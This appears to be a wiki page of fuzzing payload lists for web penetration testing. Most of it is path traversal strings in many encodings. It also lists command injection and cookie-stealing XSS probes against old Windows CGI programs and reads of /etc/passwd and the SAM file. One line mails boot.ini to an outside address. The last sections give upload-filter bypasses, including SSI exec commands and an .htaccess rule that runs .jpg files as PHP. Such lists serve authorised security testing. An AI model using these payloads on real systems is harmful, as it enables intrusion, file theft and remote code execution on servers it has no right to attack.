..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> ..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f..0x2f{FILE}<br /> 0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/0x2e0x2e/{FILE}<br /> 0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> 0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f0x2e0x2e0x2f{FILE}<br /> ..0x5c{FILE}<br /> ..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> ..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c{FILE}<br /> 0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\0x2e0x2e\{FILE}<br /> 0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> 0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c0x2e0x2e0x5c{FILE}<br /> ..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> ..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f..%c0%2f{FILE}<br /> %c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/%c0%2e%c0%2e/{FILE}<br /> %c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> %c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f{FILE}<br /> ..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> ..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c{FILE}<br /> %c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\%c0%2e%c0%2e\{FILE}<br /> %c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> %c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c{FILE}<br /> ///%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> \\\%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> \\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..//{FILE}<br /> ..//..//{FILE}<br /> ..//..//..//{FILE}<br /> ..//..//..//..//{FILE}<br /> ..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//{FILE}<br /> ..//..//..//..//..//..//..//..//{FILE}<br /> ..///{FILE}<br /> ..///..///{FILE}<br /> ..///..///..///{FILE}<br /> ..///..///..///..///{FILE}<br /> ..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///{FILE}<br /> ..///..///..///..///..///..///..///..///{FILE}<br /> ..\\{FILE}<br /> ..\\..\\{FILE}<br /> ..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\..\\..\\..\\..\\..\\..\\..\\{FILE}<br /> ..\\\{FILE}<br /> ..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ..\\\..\\\..\\\..\\\..\\\..\\\..\\\..\\\{FILE}<br /> ./\/./{FILE}<br /> ./\/././\/./{FILE}<br /> ./\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> ./\/././\/././\/././\/././\/././\/././\/././\/./{FILE}<br /> .\/\.\{FILE}<br /> .\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> .\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../{FILE}<br /> ././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\{FILE}<br /> .\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\..\..\..\..\..\..\..\..\{FILE}<br /> ./../{FILE}<br /> ./.././../{FILE}<br /> ./.././.././../{FILE}<br /> ./.././.././.././../{FILE}<br /> ./.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././../{FILE}<br /> ./.././.././.././.././.././.././.././../{FILE}<br /> .\..\{FILE}<br /> .\..\.\..\{FILE}<br /> .\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .\..\.\..\.\..\.\..\.\..\.\..\.\..\.\..\{FILE}<br /> .//..//{FILE}<br /> .//..//.//..//{FILE}<br /> .//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..//{FILE}<br /> .\\..\\{FILE}<br /> .\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> .\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\{FILE}<br /> ../{FILE}<br /> ../..//{FILE}<br /> ../..//../{FILE}<br /> ../..//../..//{FILE}<br /> ../..//../..//../{FILE}<br /> ../..//../..//../..//{FILE}<br /> ../..//../..//../..//../{FILE}<br /> ../..//../..//../..//../..//{FILE}<br /> ..\{FILE}<br /> ..\..\\{FILE}<br /> ..\..\\..\{FILE}<br /> ..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\{FILE}<br /> ..\..\\..\..\\..\..\\..\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\{FILE}<br /> ..///{FILE}<br /> ../..///{FILE}<br /> ../..//..///{FILE}<br /> ../..//../..///{FILE}<br /> ../..//../..//..///{FILE}<br /> ../..//../..//../..///{FILE}<br /> ../..//../..//../..//..///{FILE}<br /> ../..//../..//../..//../..///{FILE}<br /> ..\\\{FILE}<br /> ..\..\\\{FILE}<br /> ..\..\\..\\\{FILE}<br /> ..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\\\{FILE}<br /> ..\..\\..\..\\..\..\\..\..\\\{FILE}<br /> &lt;/pre&gt;<br /> <br /> === Common Windows CGI (Update: 17 March 2010) ===<br /> &lt;pre&gt;# Common Windows CGI (Update: 17 March 2010 <br /> # fuzz inside executable directories<br /> # on windows, this is usually /scripts or /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> cart32.exe<br /> get32.exe<br /> visadmin.exe<br /> foxweb.exe<br /> webplus.exe?about<br /> fpsrvadm.exe<br /> MsmMask.exe<br /> cmd.exe?/c+dir<br /> cmd1.exe?/c+dir<br /> post32.exe|dir%20c:\\<br /> cgitest.exe<br /> hpnst.exe?c=p+i=<br /> Pbcgi.exe<br /> testcgi.exe<br /> webfind.exe?keywords=01234567890123456789<br /> redir.exe?URL=http%3A%2F%2Fwww%2Egoogle%2Ecom%2F%0D%0A%0D%0A%3C<br /> test-cgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> athcgi.exe?command=showpage&amp;script='],[0,0]];alert('Vulnerable');a=[['<br /> mkilog.exe<br /> mkplog.exe<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> MsmMask.exe?mask=/junk334<br /> perl.exe?-v<br /> perl.exe<br /> ppdscgi.exe<br /> c32web.exe/ChangeAdminPassword<br /> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> 